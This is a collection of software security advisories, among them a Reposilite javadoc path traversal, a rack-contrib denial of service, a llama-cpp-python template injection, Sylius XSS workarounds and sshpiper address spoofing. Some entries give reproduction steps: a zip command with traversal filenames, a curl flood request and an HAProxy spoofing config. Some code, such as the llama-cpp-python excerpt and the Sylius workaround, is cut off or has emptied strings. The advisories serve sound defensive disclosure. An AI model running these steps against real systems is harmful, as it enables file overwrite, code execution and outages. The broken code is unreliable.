Path traversal in Reposilite javadoc file expansion (arbitrary file creation/overwrite) (`GHSL-2024-073`)

[Severity: HIGH]

### Summary
Reposilite v3.5.10 is affected by an Arbitrary File Upload vulnerability via path traversal in expanding of Javadoc archives.

### Details
Reposilite provides support for JavaDocs files, which are archives that contain documentation for artifacts. Specifically, [JavadocEndpoints.kt](https://github.com/dzikoysk/reposilite/blob/68b73f19dc9811ccf10936430cf17f7b0e622bd6/reposilite-backend/src/main/kotlin/com/reposilite/javadocs/infrastructure/JavadocEndpoints.kt#L28) controller allows to expand the javadoc archive into the server's file system and return its content. The problem is in the way how the archives are expanded, specifically how the new filename is created:

[JavadocContainerService.kt#L127-L136](https://github.com/dzikoysk/reposilite/blob/68b73f19dc9811ccf10936430cf17f7b0e622bd6/reposilite-backend/src/main/kotlin/com/reposilite/javadocs/JavadocContainerService.kt#L127-L136)

```kotlin
jarFile.entries().asSequence().forEach { file ->
    if (file.isDirectory) {
        return@forEach
    }

     val path = Paths.get(javadocUnpackPath.toString() + "/" + file.name)

    path.parent?.also { parent -> Files.createDirectories(parent) }
    jarFile.getInputStream(file).copyToAndClose(path.outputStream())
}.asSuccess<Unit, ErrorResponse>()
```

The `file.name` taken from the archive can contain path traversal characters, such as '/../../../anything.txt', so the resulting extraction path can be outside the target directory.

### Impact

If the archive is taken from an untrusted source, such as Maven Central or JitPack for example, an attacker can craft a special archive to overwrite any local file on Reposilite instance. This could lead to remote code execution, for example by placing a new plugin into the '$workspace$/plugins' directory. Alternatively, an attacker can overwrite the content of any other package.

Note that the attacker can use its own malicious package from Maven Central to overwrite any other package on Reposilite.

### Steps to reproduce

1. Create a malicious javadoc archive that contains filenames with path traversal characters:
```bash
zip test-1.0-javadoc.jar ../../../../../../../../tmp/evil.txt index.html
```
Make sure that `../../../../../../../../tmp/evil.txt` and `index.html` files exist on the system where you create this archive.

2. Publish this archive to the repository which Reposilite is mirroring, such as Maven Central or JitPack. For the test purposes, I used my own server that imitates the upstream maven repository:
http://artsploit.com/maven/com/artsploit/reposilite-zipslip/1.0/reposilite-zipslip-1.0-javadoc.jar

3. Start Reposilite with 'releases' repository mirroring to 'http://artsploit.com/maven/'

4. Now, if the attacker send the request to http://localhost:8080/javadoc/releases/com/artsploit/reposilite-zipslip/1.0, the aforementioned archive will be obtained from  the http://artsploit.com/maven/com/artsploit/reposilite-zipslip/1.0/reposilite-zipslip-1.0-javadoc.jar address and its 'evil.txt' file will be expanded to '$workspace$/tmp/evil.txt'. Note that to perform this action, an attacker does not need to provide any credentials, as fetching from the mirrored repository does not require authentication.

6. Confirm that '$workspace$/tmp/evil.txt' is created on the server where Reposilite is running.

### Remediation

Normalize (remove all occurrences of `/../`) the `file.name` variable before concatenating it with `javadocUnpackPath`. E.g.:

```kotlin
val path = Paths.get(javadocUnpackPath.toString() + "/" + Paths.get(file.name).normalize().toString())
```


Mattermost allows a remote actor to permanently delete local data by abusing dangerous error handling

[Severity: MEDIUM]

Mattermost versions 9.9.x <= 9.9.0, 9.5.x <= 9.5.6, 9.7.x <= 9.7.5, 9.8.x <= 9.8.1 fail to properly safeguard an error handling which allows a malicious remote to permanently delete local data by abusing dangerous error handling, when share channels were enabled.


Mattermost failed to properly validate that the channel that comes from the sync message is a shared channel

[Severity: CRITICAL]

Mattermost versions 9.9.x <= 9.9.0, 9.5.x <= 9.5.6, 9.7.x <= 9.7.5 and 9.8.x <= 9.8.1 fail to properly validate that the channel that comes from the sync message is a shared channel, when shared channels are enabled, which allows a malicious remote to add users to arbitrary teams and channels


Mattermost failed to disallow the modification of local users when syncing users in shared channels

[Severity: MEDIUM]

Mattermost versions 9.9.x <= 9.9.0, 9.5.x <= 9.5.6, 9.7.x <= 9.7.5, 9.8.x <= 9.8.1 fail to disallow the modification of local users when syncing users in shared channels. which allows a malicious remote to overwrite an existing local user.


GraphQL Java does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service

[Severity: HIGH]

GraphQL Java (aka graphql-java) before 21.5 does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service via introspection queries. 20.9 and 19.11 are also fixed versions.


tgstation-server's DreamMaker environment files outside the deployment directory can be compiled and ran by insufficiently permissioned users

[Severity: HIGH]

### Impact
_What kind of vulnerability is it? Who is impacted?_

Low permission users using the "Set .dme Path" privilege could potentially set malicious .dme files existing on the host machine to be compiled and executed.

These .dme files could be uploaded via tgstation-server (requiring a separate, isolated privilege) or some other means.

A server configured to execute in BYOND's trusted security level (requiring a third separate, isolated privilege OR being set by another user) could lead to this escalating into remote code execution via BYOND's shell() proc.

The ability to execute this kind of attack is a known side effect of having privileged TGS users, but normally requires multiple privileges with known weaknesses. This vector is not intentional as it does not require control over the where deployment code is sourced from and _may_ not require remote write access to an instance's `Configuration` directory.

### Patches
_Has the problem been patched? What versions should users upgrade to?_

This problem is patched by pull request #1835 and fixed in versions 6.8.0 and above.

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

Do not give un-trusted users the Deployment permission to set a .dme path on instances.


Starship vulnerable to shell injection via undocumented, unpredictable shell expansion in custom commands

[Severity: HIGH]

## Description
Starship is a cross-shell prompt. Starting in version 1.0.0 and prior to version 1.20.0, undocumented and unpredictable shell expansion and/or quoting rules make it easily to accidentally cause shell injection when using custom commands with starship in bash. Version 1.20.0 fixes the vulnerability.

### PoC
Have some custom command which prints out information from a potentially untrusted/unverified source.
```
[custom.git_commit_name]
command = 'git show -s --format="%<(25,mtrunc)%s"'
style = "italic"
when = true
```

### Impact
This issue only affects users with custom commands, so the scope is limited, and without knowledge of others' commands, it could be hard to successfully target someone.


Backdrop CMS does not sufficiently sanitize field labels before they are displayed in certain places

[Severity: MEDIUM]

Backdrop CMS before 1.27.3 and 1.28.x before 1.28.2 does not sufficiently sanitize field labels before they are displayed in certain places. This vulnerability is mitigated by the fact that an attacker must have a role with the "administer fields" permission.


matrix-sdk-crypto's `UserIdentity::is_verified` not checking verification status of own user identity while performing the check

[Severity: MEDIUM]

The `UserIdentity::is_verified()` method in the matrix-sdk-crypto crate before version 0.7.2 doesn't take into account the verification status of the user's own identity while performing the check and may as a result return a value contrary to what is implied by its name and documentation.

### Impact

If the method is used to decide whether to perform sensitive operations towards a user identity, a malicious homeserver could manipulate the outcome in order to make the identity appear trusted. This is not a typical usage of the method, which lowers the impact. The method itself is not used inside the `matrix-sdk-crypto` crate.

### Patches

The 0.7.2 release of the `matrix-sdk-crypto` crate includes a fix.

### Workarounds

None.


vodozemac's usage of non-constant time base64 decoder could lead to leakage of secret key material

[Severity: MEDIUM]

Versions before 0.7.0 of vodozemac use a non-constant time base64 implementation for importing key material for Megolm group sessions and `PkDecryption` Ed25519 secret keys. This flaw might allow an attacker to infer some information about the secret key material through a side-channel attack.

### Impact

The use of a non-constant time base64 implementation might allow an attacker to observe timing variations in the encoding and decoding operations of the secret key material. This could potentially provide insights into the underlying secret key material.

The impact of this vulnerability is considered low because exploiting the attacker is required to have access to high precision timing measurements, as well as repeated access to the base64 encoding or decoding processes.  Additionally, the estimated leakage amount is bounded and low according to the referenced paper.

### Patches

The patch is in commit 734b6c6948d4b2bdee3dd8b4efa591d93a61d272.

### Workarounds
None.

### References
A detailed description of the precise attack can be found at https://arxiv.org/abs/2108.04600. We kindly thank Soatok for pointing out this research to us.

### For more information
If you have any questions or comments about this advisory please email us at [security at matrix.org](mailto:security@matrix.org).


NHibernate SQL injection vulnerability in discriminator mappings, static fields referenced in HQL, and some utilities

[Severity: HIGH]

### Impact
A SQL injection vulnerability exists in some types implementing `ILiteralType.ObjectToSQLString`. Callers of these methods are exposed to the vulnerability, which includes:
 - Mappings using inheritance with discriminator values:
   - The discriminator value could be written in the mapping in a way exploiting the vulnerability of the associated discriminator type, if that type is among the vulnerable ones.
   - The current culture settings for formatting the discriminator value type could be altered in a way resulting into SQL injections with the discriminator values.
 - HQL queries referencing a static field of the application.
 - Users of the `SqlInsertBuilder` and `SqlUpdateBuilder` utilities, calling their `AddColumn` overload taking a literal value. These overloads are unused by NHibernate but could be used by users referencing directly these utilities.
 - Any direct use of the `ObjectToSQLString` methods for building SQL queries on the user side.

### Patches
Releases 5.4.9 and 5.5.2.

### Workarounds
 - Ensure the application does not use the features listed above.
 - For discriminator usages, ensure the discriminator values in the mappings do not contain quotes for string discriminators. Furthermore, for types which `ToString` conversion can be altered to include SQL injections through adequate hacking of the current culture settings, either change for another type, or ensure the used values cannot allow culture exploits, or ensure the application performs sanity checks of the current culture settings. Types sensitive to culture include integers for negative values, dates, times and datetimes, floats and decimals.

### References
 - https://github.com/nhibernate/nhibernate-core/issues/3516
 - https://github.com/nhibernate/nhibernate-core/pull/3517
 - https://github.com/nhibernate/nhibernate-core/pull/3547


Malicious Matrix homeserver can leak truncated message content of messages it shouldn't have access to

[Severity: MEDIUM]

### Impact

The fix for GHSA-wm4w-7h2q-3pf7 / [CVE-2024-32000](https://www.cve.org/CVERecord?id=CVE-2024-32000) included in matrix-appservice-irc 2.0.0 relied on the Matrix homeserver-provided timestamp to determine whether a user has access to the event they're replying to when determining whether or not to include a truncated version of the original event in the IRC message. Since this value is controlled by external entities, a malicious Matrix homeserver joined to a room in which a matrix-appservice-irc bridge instance (before version 2.0.1) is present can fabricate the timestamp with the intent of tricking the bridge into leaking room messages the homeserver should not have access to.

### Patches

matrix-appservice-irc 2.0.1 [drops the reliance](https://github.com/matrix-org/matrix-appservice-irc/pull/1804) on `origin_server_ts` when determining whether or not an event should be visible to a user, instead tracking the event timestamps internally.

### Workarounds

It's possible to limit the amount of information leaked by setting a reply template that doesn't contain the original message. See [these lines](https://github.com/matrix-org/matrix-appservice-irc/blob/d5d67d1d3ea3f0f6962a0af2cc57b56af3ad2129/config.sample.yaml#L601-L604) in the configuration file.

### References

- Patch: https://github.com/matrix-org/matrix-appservice-irc/pull/1804

### For more information

If you have any questions or comments about this advisory, please email us at [security at matrix.org](mailto:security@matrix.org).


aimeos/ai-admin-jsonadm improper access control vulnerability allows editors to remove required records

[Severity: MEDIUM]

Improper access control allows editors to remove admin group and locale configuration in Aimeos backend


aimeos/ai-admin-graphql improper access control vulnerability allows editors to manage own services

[Severity: LOW]

aimeos/ai-admin-graphql is the Aimeos GraphQL API admin interface. Starting in version 2022.04.1 and prior to versions 2022.10.10, 2023.10.6, and 2024.4.2, improper access control allows a editors to manage own services via GraphQL API which isn't allowed in the JQAdm front end. Versions 2022.10.10, 2023.10.6, and 2024.4.2 contain a patch for the issue.


aimeos/ai-admin-graphql improper access control vulnerability allows an editor to modify admin account

[Severity: HIGH]

aimeos/ai-admin-graphql is the Aimeos GraphQL API admin interface. Starting in version 2022.04.01 and prior to versions 2022.10.10, 2023.10.6, and 2024.04.6, an improper access control vulnerability allows an editor to modify and take over an admin account in the back end. Versions 2022.10.10, 2023.10.6, and 2024.04.6 fix this issue.


Withdrawn Advisory: Gradio was discovered to contain a code injection vulnerability via the component /gradio/component_meta.py

[Severity: CRITICAL]

### Withdrawn Advisory
This advisory has been withdrawn because the it only affects a user who runs specifically crafted code that happens to use gradio library. More information can be found [here](https://github.com/gradio-app/gradio/issues/8853).

### Original Description
Gradio v4.36.1 was discovered to contain a code injection vulnerability via the component /gradio/component_meta.py. This vulnerability is triggered via a crafted input.


adolph_dudu ratio-swiper was discovered to contain a prototype pollution via the function extendDefaults

[Severity: MEDIUM]

adolph_dudu ratio-swiper v0.0.2 was discovered to contain a prototype pollution via the function extendDefaults. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.


Apache StreamPipes: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) in Recovery Token Generation

[Severity: CRITICAL]

Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) vulnerability in Apache StreamPipes user self-registration and password recovery mechanism.
This allows an attacker to guess the recovery token in a reasonable time and thereby to take over the attacked user's account.
This issue affects Apache StreamPipes: from 0.69.0 through 0.93.0.

Users are recommended to upgrade to version 0.95.0, which fixes the issue.


Magento Open Source affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability

[Severity: CRITICAL]

Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution. An attacker could exploit this vulnerability by sending a crafted XML document that references external entities. Exploitation of this issue does not require user interaction.


Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability

[Severity: MEDIUM]

Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability.


qdrant is vulnerable to path traversal due to improper input validation in the `/collections/{name}/snapshots/upload` endpoint

[Severity: CRITICAL]

qdrant/qdrant version 1.9.0-dev is vulnerable to path traversal due to improper input validation in the `/collections/{name}/snapshots/upload` endpoint. By manipulating the `name` parameter through URL encoding, an attacker can upload a file to an arbitrary location on the system, such as `/root/poc.txt`. This vulnerability allows for the writing and overwriting of arbitrary files on the server, potentially leading to a full takeover of the system. The issue is fixed in version 1.9.0.


rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

[Severity: HIGH]

### Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

```ruby
        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end
```

An exploit as such `curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"` may cause resource exhaution by a remotely controlled value.

### PoC

Herein the `config.ru` file:

```ruby
require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app
```

A Dockerfile:

```Dockerfile
# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

```

A Gemfile

```
source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'
```

A Docker compose

```Dockerfile
services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"
```

To run the PoC

```bash
docker compose up --build
```

To exploit DoS:

```bash
curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"
```

### Impact
 - Potential denial of service by remotely user-controlled data.


Gradio applications running locally vulnerable to 3rd party websites accessing routes and uploading files

[Severity: MEDIUM]

### Impact
This CVE covers the ability of 3rd party websites to access routes and upload files to users running Gradio applications locally.  For example, the malicious owners of [www.dontvisitme.com](http://www.dontvisitme.com/) could put a script on their website that uploads a large file to http://localhost:7860/upload and anyone who visits their website and has a Gradio app will now have that large file uploaded on their computer

### Patches
Yes, the problem has been patched in Gradio version 4.19.2 or higher. We have no knowledge of this exploit being used against users of Gradio applications, but we encourage all users to upgrade to Gradio 4.19.2 or higher.

Fixed in: https://github.com/gradio-app/gradio/commit/84802ee6a4806c25287344dce581f9548a99834a
CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-1727


Withdrawn Advisory: Weights and Biases (wandb) has a Server-Side Request Forgery (SSRF) vulnerability

[Severity: HIGH]

## Withdrawn Advisory
This advisory has been withdrawn because the underlying issue existed in Weights and Biases's backend server code, not the software development kit included in the `wandb` PyPI package, as originally reported. This link is maintained to preserve external references.

## Original Description
A Server-Side Request Forgery (SSRF) vulnerability exists in the wandb/wandb repository due to improper handling of HTTP 302 redirects. This issue allows team members with access to the 'User settings -> Webhooks' function to exploit this vulnerability to access internal HTTP(s) servers. In severe cases, such as on AWS instances, this could potentially be abused to achieve remote code execution on the victim's machine. The vulnerability is present in the latest version of the repository.


Bonitasoft Runtime Community edition's contains an insecure direct object references vulnerability

[Severity: MEDIUM]

In Bonitasoft runtime Community edition, the lack of dynamic permissions causes IDOR vulnerability. Dynamic permissions existed only in Subscription edition and have now been restored in Community edition, where they are not custmizable.


sshpiper's enabling of proxy protocol without proper feature flagging allows faking source address

[Severity: MEDIUM]

### Summary

The way the proxy protocol listener is implemented in sshpiper can allow an attacker to forge their connecting address.

### Details

[This commit](https://github.com/tg123/sshpiper/commit/2ddd69876a1e1119059debc59fe869cb4e754430) added the proxy protocol listener as the only listener in sshpiper, with no option to toggle this functionality off. This means that any connection that sshpiper is directly (or in some cases indirectly) exposed to can use proxy protocol to forge its source address.

### PoC

You can use a configuration like this in HAProxy:

```
listen w-send-proxy
    mode tcp
    log global
    option tcplog
    bind *:27654
    tcp-request connection set-src ipv4(1.1.1.1)
    server app1 ssh-piper-hostname:22 send-proxy
```

When connecting through HAProxy, sshpiper will log connections as originating from `1.1.1.1`.  The proxy protocol data is designed to survive multiple load balancers or proxies and pass through to sshpiper at the end, so it should only be enabled trusted environments. This should be behind a configuration option or startup flag to prevent abuse when public connections can be made to sshpiper.

This is also backed up by [the specification for proxy protocol](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt):

> The receiver MUST be configured to only receive the protocol described in this
specification and MUST not try to guess whether the protocol header is present
or not. This means that the protocol explicitly prevents port sharing between
public and private access. Otherwise it would open a major security breach by
allowing untrusted parties to spoof their connection addresses. The receiver
SHOULD ensure proper access filtering so that only trusted proxies are allowed
to use this protocol.

### Impact

Any users of sshpiper who need logs from it for whitelisting/rate limiting/security investigations could have them become much less useful if an attacker is sending a spoofed source address.


Nautobot's BANNER_* configuration can be used to inject arbitrary HTML content into Nautobot pages

[Severity: HIGH]

### Impact

A Nautobot user with admin privileges can modify the `BANNER_TOP`, `BANNER_BOTTOM`, and `BANNER_LOGIN` configuration settings via the `/admin/constance/config/` endpoint. Normally these settings are used to provide custom banner text at the top and bottom of all Nautobot web pages (or specifically on the login page in the case of `BANNER_LOGIN`) but it was reported that an admin user can make use of these settings to inject arbitrary HTML, potentially exposing Nautobot users to security issues such as cross-site scripting (stored XSS).

### Patches
_Has the problem been patched? What versions should users upgrade to?_

Patches will be released as part of Nautobot 1.6.22 and 2.2.4.

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

As [described in the Nautobot documentation](https://docs.nautobot.com/projects/core/en/stable/user-guide/administration/configuration/optional-settings/#administratively-configurable-settings), these settings are only configurable through the admin UI of Nautobot if they are *not* explicitly set to some non-empty value in the `nautobot_config.py` or equivalent Nautobot configuration file. Therefore, adding the following configuration to said file completely mitigates this vulnerability in both Nautobot 1.x and 2.x:

```python
BANNER_LOGIN = " "
BANNER_TOP = " "
BANNER_BOTTOM = " "
```

or alternately (Nautobot 2.x only), if those variables are not defined explicitly in your configuration file, setting the following environment variables for the Nautobot user account serves the same purpose:

```shell
NAUTOBOT_BANNER_LOGIN=" "
NAUTOBOT_BANNER_TOP=" "
NAUTOBOT_BANNER_BOTTOM=" "
```

Limiting all users who do not need elevated privileges to non-admin access (`is_superuser: False` and `is_staff: False`) is a partial mitigation as well.

### References

- https://github.com/nautobot/nautobot/pull/5697
- https://github.com/nautobot/nautobot/pull/5698


llama-cpp-python vulnerable to Remote Code Execution by Server-Side Template Injection in Model Metadata

[Severity: CRITICAL]

## Description

`llama-cpp-python` depends on class `Llama` in `llama.py` to load `.gguf` llama.cpp or Latency Machine Learning Models. The `__init__` constructor built in the `Llama` takes several parameters to configure the loading and running of the model. Other than `NUMA, LoRa settings`, `loading tokenizers,` and `hardware settings`, `__init__` also loads the `chat template` from targeted `.gguf` 's Metadata and furtherly parses it to `llama_chat_format.Jinja2ChatFormatter.to_chat_handler()` to construct the `self.chat_handler` for this model. Nevertheless, `Jinja2ChatFormatter` parse the `chat template` within the Metadate with sandbox-less `jinja2.Environment`, which is furthermore rendered in `__call__` to construct the `prompt` of interaction. This allows `jinja2` Server Side Template Injection which leads to RCE by a carefully constructed payload.

## Source-to-Sink

### `llama.py` -> `class Llama` -> `__init__`:

```python
class Llama:
    """High-level Python wrapper for a llama.cpp model."""

    __backend_initialized = False

    def __init__(
        self,
        model_path: str,
		# lots of params; Ignoring
    ):

        self.verbose = verbose

        set_verbose(verbose)

        if not Llama.__backend_initialized:
            with suppress_stdout_stderr(disable=verbose):
                llama_cpp.llama_backend_init()
            Llama.__backend_initialized = True

		# Ignoring lines of unrelated codes.....

        try:
            self.metadata = self._model.metadata()
        except Exception as e:
            self.metadata = {}
            if self.verbose:
                print(f"Failed to load metadata: {e}", file=sys.stderr)

        if self.verbose:
            print(f"Model metadata: {self.metadata}", file=sys.stderr)

        if (
            self.chat_format is None
            and self.chat_handler is None
            and "tokenizer.chat_template" in self.metadata
        ):
            chat_format = llama_chat_format.guess_chat_format_from_gguf_metadata(
                self.metadata
            )

            if chat_format is not None:
                self.chat_format = chat_format
                if self.verbose:
                    print(f"Guessed chat format: {chat_format}", file=sys.stderr)
            else:
                template = self.metadata["tokenizer.chat_template"]
                try:
                    eos_token_id = int(self.metadata["tokenizer.ggml.eos_token_id"])
                except:
                    eos_token_id = self.token_eos()
                try:
                    bos_token_id = int(self.metadata["tokenizer.ggml.bos_token_id"])
                except:
                    bos_token_id = self.token_bos()

                eos_token = self._model.token_get_text(eos_token_id)
                bos_token = self._model.token_get_text(bos_token_id)

                if self.verbose:
                    print(f"Using gguf chat template: {template}", file=sys.stderr)
                    print(f"Using chat eos_token: {eos_token}", file=sys.stderr)
                    print(f"Using chat bos_token: {bos_token}", file=sys.stderr)

                self.chat_handler = llama_chat_format.Jinja2ChatFormatter(
                    template=template,
                    eos_token=eos_token,
                    bos_token=bos_token,
                    stop_token_ids=[eos_token_id],
                ).to_chat_handler()

        if self.chat_format is None and self.chat_handler is None:
            self.chat_format = "llama-2"
            if self.verbose:
                print(f"Using fallback chat format: {chat_format}", file=sys.stderr)

```

In `llama.py`, `llama-cpp-python` defined the fundamental class for model initialization parsing (Including `NUMA, LoRa settings`, `loading tokenizers,` and stuff ). In our case, we will be focusing on the parts where it processes `metadata`; it first checks if `chat_format` and `chat_handler` are `None` and checks if the key `tokenizer.chat_template` exists in the metadata dictionary `self.metadata`. If it exists, it will try to guess the `chat format` from the `metadata`. If the guess fails, it will get the value of `chat_template` directly from `self.metadata.self.metadata` is set during class initialization and it tries to get the metadata by calling the model's metadata() method, after that, the `chat_template` is parsed into `llama_chat_format.Jinja2ChatFormatter` as params which furthermore stored the `to_chat_handler()` as `chat_handler`

### `llama_chat_format.py` -> `Jinja2ChatFormatter`:

`self._environment =  jinja2.Environment( -> from_string(self.template) -> self._environment.render(`

```python
class ChatFormatter(Protocol):
    """Base Protocol for a chat formatter. A chat formatter is a function that
    takes a list of messages and returns a chat format response which can be used
    to generate a completion. The response can also include a stop token or list
    of stop tokens to use for the completion."""

    def __call__(
        self,
        *,
        messages: List[llama_types.ChatCompletionRequestMessage],
        **kwargs: Any,
    ) -> ChatFormatterResponse: ...

class Jinja2ChatFormatter(ChatFormatter):
    def __init__(
        self,
        template: str,
        eos_token: str,
        bos_token: str,
        add_generation_prompt: bool = True,
        stop_token_ids: Optional[List[int]] = None,
    ):
        """A chat formatter that uses jinja2 templates to format the prompt."""
        self.template = template
        self.eos_token = eos_token
        self.bos_token = bos_token
        self.add_generation_prompt = add_generation_prompt
        self.stop_token_ids = set(stop_token_ids) if stop_token_ids is not None else None

        self._environment = jinja2.Environment(
            loader=jinja2.BaseLoader(),
            trim


Sylius has potential Cross Site Scripting vulnerability via the "Province" field in the Checkout and Address Book

[Severity: MEDIUM]

### Impact

There is a possibility to save XSS code in province field in the Checkout and Address Book and then execute it on these pages. The problem occurs when you open the address step page in the checkout or edit the address in the address book. This only affects the base UI Shop provided by Sylius.

### Patches
The issue is fixed in versions: 1.9.12, 1.10.16, 1.11.17, 1.12.16, 1.13.1 and above.

### Workarounds

1. Create new file `assets/shop/sylius-province-field.js`:

```js
// assets/shop/sylius-province-field.js

function sanitizeInput(input) {
  const div = document.createElement('div');
  div.textContent = input;
  return div.innerHTML; // Converts text content to plain HTML, stripping any scripts
}

const getProvinceInputValue = function getProvinceInputValue(valueSelector) {
  return valueSelector == undefined ? '' : `value="${sanitizeInput(valueSelector)}"`;
};

$.fn.extend({
  provinceField() {
    const countrySelect = $('select[name$="[countryCode]"]');

    countrySelect.on('change', (event) => {
      const select = $(event.currentTarget);
      const provinceContainer = select.parents('.field').next('div.province-container');

      const provinceSelectFieldName = select.attr('name').replace('country', 'province');
      const provinceInputFieldName = select.attr('name').replace('countryCode', 'provinceName');

      const provinceSelectFieldId = select.attr('id').replace('country', 'province');
      const provinceInputFieldId = select.attr('id').replace('countryCode', 'provinceName');

      const form = select.parents('form');

      if (select.val() === '' || select.val() == undefined) {
        provinceContainer.fadeOut('slow', () => {
          provinceContainer.html('');
        });

        return;
      }

      provinceContainer.attr('data-loading', true);
      form.addClass('loading');

      $.get(provinceContainer.attr('data-url'), { countryCode: select.val() }, (response) => {
        if (!response.content) {
          provinceContainer.fadeOut('slow', () => {
            provinceContainer.html('');

            provinceContainer.removeAttr('data-loading');
            form.removeClass('loading');
          });
        } else if (response.content.indexOf('select') !== -1) {
          provinceContainer.fadeOut('slow', () => {
            const provinceSelectValue = getProvinceInputValue((
              $(provinceContainer).find('select > option[selected$="selected"]').val()
            ));

            provinceContainer.html((
              response.content
                .replace('name="sylius_address_province"', `name="${provinceSelectFieldName}"${provinceSelectValue}`)
                .replace('id="sylius_address_province"', `id="${provinceSelectFieldId}"`)
                .replace('option value="" selected="selected"', 'option value=""')
                .replace(`option ${provinceSelectValue}`, `option ${provinceSelectValue}" selected="selected"`)
            ));
            provinceContainer.addClass('required');
            provinceContainer.removeAttr('data-loading');

            provinceContainer.fadeIn('fast', () => {
              form.removeClass('loading');
            });
          });
        } else {
          provinceContainer.fadeOut('slow', () => {
            const provinceInputValue = getProvinceInputValue($(provinceContainer).find('input').val());

            provinceContainer.html((
              response.content
                .replace('name="sylius_address_province"', `name="${provinceInputFieldName}"${provinceInputValue}`)
                .replace('id="sylius_address_province"', `id="${provinceInputFieldId}"`)
            ));

            provinceContainer.removeAttr('data-loading');

            provinceContainer.fadeIn('fast', () => {
              form.removeClass('loading');
            });
          });
        }
      });
    });

    if (countrySelect.val() !== '') {
      countrySelect.trigger('change');
    }

    if ($.trim($('div.province-container').text()) === '') {
      $('select.country-select').trigger('change');
    }

    const shippingAddressCheckbox = $('input[type="checkbox"][name$="[differentShippingAddress]"]');
    const shippingAddressContainer = $('#sylius-shipping-address-container');
    const toggleShippingAddress = function toggleShippingAddress() {
      shippingAddressContainer.toggle(shippingAddressCheckbox.prop('checked'));
    };
    toggleShippingAddress();
    shippingAddressCheckbox.on('change', toggleShippingAddress);
  },
});
```

2. Add new import in `assets/shop/entry.js`:

```js
// assets/shop/entry.js
// ...
import './sylius-province-field';
```

3. If you're using Gulp, update your `gulpfile.babel.js`:

```diff
  import chug from 'gulp-chug';
+ import concat from 'gulp-concat';
  import gulp from 'gulp';
  import yargs from 'yargs';

  const { argv } = ...

+ const rootPath = argv.rootPath || 'public/assets';
+
  const config = [...];
    '--rootPath',
    argv.rootPath || '../../../../../../../public/assets',
    '--nodeModulesPath',
    argv.nodeModulesPath || '../../../../../../../node_modules',
  ];

  ...

  export const buildShop = ...

+ export const patchShopJs = function patchShopJs() {
+   return gulp.src([
+     `${rootPath}/shop/js/app.js`,
+     'assets/shop/sylius-province-field.js',
+   ])
+     .pipe(concat('app.js'))
+     .pipe(gulp.dest(`${rootPath}/shop/js`));
+ };
+ patchShopJs.description = 'Append shop security patches to built app.js.';

 ...

- export const build = gulp.parallel(buildAdmin, buildShop);
+ export const build = gulp.series(
+   gulp.parallel(buildAdmin, buildShop),
+   patchShopJs,
+ );

 ...

- gulp.task('shop', buildShop);
+ gulp.task('shop', gulp.series(buildShop, patchShopJs));

  ...
```

4. Rebuild your assets:

```bash
yarn build
```

### Acknowledgements

This security issue has been reported by @r2


Sylius potentially vulnerable to Cross Site Scripting via "Name" field (Taxons, Products, Options, Variants) in Admin Panel

[Severity: MEDIUM]

### Impact

There is a possibility to execute javascript code in the Admin panel. In order to perform an XSS attack input a script into `Name` field in which of the resources: Taxons, Products, Product Options or Product Variants. The code will be executed while using an autocomplete field with one of the listed entities in the Admin Panel. Also for the taxons in the category tree on the product form.

### Patches
The issue is fixed in versions: 1.9.12, 1.10.16, 1.11.17, 1.12.16, 1.13.1 and above.

### Workarounds

1. Create a new file `assets/admin/sylius-lazy-choice-tree.js`:

```js
// assets/admin/sylius-lazy-choice-tree.js

function sanitizeInput(input) {
  const div = document.createElement('div');
  div.textContent = input;
  return div.innerHTML; // Converts text content to plain HTML, stripping any scripts
}

const createRootContainer = function createRootContainer() {
  return $('

');
};

const createLeafContainerElement = function createLeafContainerElement() {
  return $('

');
};

const createLeafIconElement = function createLeafIconElement() {
  return $('');
};

const createLeafTitleElement = function createLeafTitleElement() {
  return $('

');
};

const createLeafTitleSpan = function createLeafTitleSpan(displayName) {
  return $(`<span style="margin-right: 5px; cursor: pointer;">${displayName}</span>`);
};

const createLeafContentElement = function createLeafContentElement() {
  return $('

');
};

$.fn.extend({
  choiceTree(type, multiple, defaultLevel) {
    const tree = this;
    const loader = tree.find('.dimmer');
    const loadedLeafs = [];
    const $input = tree.find('input[type="hidden"]');

    const createCheckboxElement = function createCheckboxElement(name, code, multi) {
      const chosenNodes = $input.val().split(',');
      let checked = '';
      if (chosenNodes.some(chosenCode => chosenCode === code)) {
        checked = 'checked="checked"';
      }
      if (multi) {
